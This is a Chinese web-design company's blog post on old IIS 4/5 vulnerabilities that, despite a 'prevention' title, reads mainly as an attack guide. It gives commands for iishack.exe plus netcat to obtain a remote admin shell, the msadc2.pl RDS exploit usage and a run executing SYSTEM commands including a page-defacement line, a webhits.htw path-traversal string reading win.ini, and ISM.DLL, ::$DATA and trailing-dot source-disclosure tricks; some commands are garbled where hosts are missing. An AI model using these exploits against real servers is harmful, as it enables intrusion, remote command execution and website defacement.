西安網(wǎng)站建設(shè) | 西安網(wǎng)站制作 | 西安網(wǎng)站設(shè)計(jì) | 西安小程序開(kāi)發(fā) | 兄弟網(wǎng)絡(luò) - 西安網(wǎng)站建設(shè)十余年經(jīng)驗(yàn),值得信賴!
了解市場(chǎng)新觀點(diǎn),內(nèi)部案例剖析,增強(qiáng)服務(wù)意識(shí)與專業(yè)水平。

iis常見(jiàn)漏洞及防范措施(一)

來(lái)源:西安網(wǎng)站制作   日期:2015-05-27 09:21:36   點(diǎn)擊:3619

1. iis4hack緩沖溢出 
     主要存在于.htr,.idc和.stm文件中,其對(duì)關(guān)于這些文件的URL請(qǐng)求沒(méi)有對(duì)名字進(jìn)行充分的邊界檢查,導(dǎo)致運(yùn)行攻擊者插入一些后門程序  在系統(tǒng)中下載和執(zhí)行程序。要檢測(cè)這樣的站點(diǎn)你需要兩個(gè)文件iishack.exe,ncx.exe,你可以到下面 的站點(diǎn)去下載,另外你還需要一臺(tái)自己的WEB服務(wù)器。你現(xiàn)在你自己的WEB服務(wù)器上運(yùn)行WEB服務(wù)程序并把ncx.exe放到你自己相應(yīng)的目錄下,然后使用iishack.exe來(lái)檢查目標(biāo)機(jī)器: 
                
 c:>iishack.exe80/ncx.exe 
                 
然后你就使用netcat來(lái)連接你要檢測(cè)的服務(wù)器: 
                 
c:>nc80 
 如果溢出點(diǎn)正確你就可以看到目標(biāo)機(jī)器的命令行提示,并且是管理遠(yuǎn)權(quán)限。利用程序見(jiàn)iis4hack.zip 
                
 2.msadc 
     IIS的MDAC組件存在一個(gè)漏洞可以導(dǎo)致攻擊者遠(yuǎn)程執(zhí)行你系統(tǒng)的命令。主要核心問(wèn)題是存在于RDS Datafactory,默認(rèn)情況下, 它允許遠(yuǎn)程命令發(fā)送到IIS服務(wù)器中,這命令會(huì)以設(shè)備用戶的身份運(yùn)行,其一般默認(rèn)情況下是SYSTEM用戶。利用程序?yàn)閙sadc2.pl,我們看看它的help 
                  [quack@chat quack]$ perl msadc2.pl -h 
                  -- RDS smack v2 - rain forest puppy / ADM / wiretrip -- 
                  Usage: msadc.pl -h{ -d-X -v } 
                  -h= host you want to scan (ip or domain) 
                  -d= delay between calls, default 1 second 
                  -X = dump Index Server path table, if available 
                  -N = query VbBusObj for NetBIOS name 
                  -V = use VbBusObj instead of ActiveDataFactory 
                  -v = verbose 
                  -e = external dictionary file for step 5 
                  -u <\hostsharefile> = use UNC file 
                  -w = Windows 95 instead of Windows NT 
                  -c = v1 compatibility (three step query) 
                  -s= run only step 
                  Or a -R will resume a (v2) command session 
                  [quack@chat quack]$ perl msadc2.pl -hhttp://www.targe.com/ 
                  -- RDS smack v2 - rain forest puppy / ADM / wiretrip -- 
                  Type the command line you want to run (cmd /c assumed): 
                  cmd /c 
                  如果出現(xiàn)cmd /c后,直接鍵入命令行,就可以以system權(quán)限執(zhí)行命令了。比如xundi教的: 
                  echo hacked by me > d:inetpubwwwrootvictimwebindex.htm 
                
 3.Codebrws.asp 
                  察看文件源代碼  
                                 
  4.Showcode.asp 
                  察看文件源代碼  
                             
   5.Null.htw 
                  察看文件源代碼  
                                  
 6.webhits.dll & .htw 
   hit-highligting功能是由Index Server提供的允許一個(gè)WEB用戶在文檔上highlighted(突出)他們?cè)妓阉鞯臈l目,這個(gè)文檔的名字通過(guò)變量CiWebhitsfile傳遞給.htw文件,Webhits.dll是一個(gè)ISAPI應(yīng)用程序 來(lái)處理請(qǐng)求,打開(kāi)文件并返回結(jié)果,當(dāng)用戶控制了CiWebhitsfile參數(shù)傳遞給.htw時(shí),他們就可以請(qǐng)求任意文件,結(jié)果就是導(dǎo)致查看ASP源碼和其他腳本文件內(nèi)容。要了解你是否存在這個(gè)漏洞,你可以請(qǐng)求如下條目:  
                
如果你從服務(wù)器端獲得如下信息: 
                
 format of the QUERY_STRING is invalid這就表示你存在這個(gè)漏洞 .這個(gè)問(wèn)題主要就是webhits.dll關(guān)聯(lián)了.htw文件的映射,所以你只要取消 
這個(gè)映射就能避免這個(gè)漏洞,你可以在你認(rèn)為有漏洞的系統(tǒng)中搜索.htw文件,一般會(huì)發(fā)現(xiàn)如下的程序: 
 /iissamples/issamples/oop/qfullhit.htw 
/iissamples/issamples/oop/qsumrhit.htw 
 /isssamples/exair/search/qfullhit.htw 
/isssamples/exair/search/qsumrhit.htw 
/isshelp/iss/misc/iirturnh.htw (這個(gè)一般為loopback使用) 
一個(gè)攻擊者可以使用如下的方法來(lái)訪問(wèn)系統(tǒng)中文件的內(nèi)容:  
       ciwebhitsfile=/../../winnt/win.ini&cirestriction=none&cihilitetype=full 

就會(huì)在有此漏洞系統(tǒng)中win.ini文件的內(nèi)容。 7.ASP Alternate Data Streams(::$DATA)  要查看一些.asp文件的內(nèi)容,你可以請(qǐng)求如下的URL:  你就得到了源代碼 
                 
8.ASP Dot Bug 
    在請(qǐng)求的URL結(jié)尾追加一個(gè)或者多個(gè)點(diǎn)導(dǎo)致泄露ASP源代碼。  
     
                 
 9.ISM.DLL 
     這個(gè)漏洞是由Cerberus Information Security team.最早發(fā)現(xiàn)的,它運(yùn)行在IIS4.0和5.0上面,允許攻擊者查看任意文件內(nèi)容和源代碼。通過(guò)在文件名后面追加近230個(gè)+或者?%20?(這些表示空格)并追加?.htr?的特殊請(qǐng)求給IIS,會(huì)使IIS認(rèn)為客戶端請(qǐng)求的是?.htr?文件,而.htr文件的后綴映射到ISM.DLL ISAPI應(yīng)用程序,這樣IIS就把這個(gè).htr請(qǐng)求轉(zhuǎn)交給這個(gè)DLL文件,然后ISM.DLL 程序把傳遞過(guò)來(lái)的文件打開(kāi)和執(zhí)行,但在ISM.DLL 截?cái)嘈畔⒅?緩沖區(qū)發(fā)送 一個(gè)截?cái)嚅_(kāi)的 .Htr 并會(huì)有一些時(shí)間去返回一些你要打開(kāi)的文件內(nèi)容. 除非 WEB 服務(wù)停止并重啟過(guò),否則這攻擊只能有效執(zhí)行一次。如果已經(jīng)發(fā)送過(guò)一個(gè) .htr 請(qǐng)求到機(jī)器上,那么這攻擊會(huì)失效.它只能在 ISM.DLL第一次裝入內(nèi)存時(shí)工作.CNNS發(fā)現(xiàn)追加+號(hào)到?jīng)]有一次攻擊這個(gè)問(wèn)題,可以進(jìn)行多次攻擊。  

上一篇:網(wǎng)頁(yè)安全技術(shù)指南(二)     下一篇:iis常見(jiàn)漏洞及防范措施(二)
掃碼立即溝通
公眾號(hào)加關(guān)注
版權(quán)所有:西安兄弟信息科技有限公司 陜ICP備07012704號(hào)-8   地址:西安市三橋街道恒大都市廣場(chǎng)(1號(hào)線灃東自貿(mào)園站C1口)  營(yíng)業(yè)執(zhí)照    網(wǎng)站地圖  
關(guān)閉
029-86512630 工作:8:30-17:30

*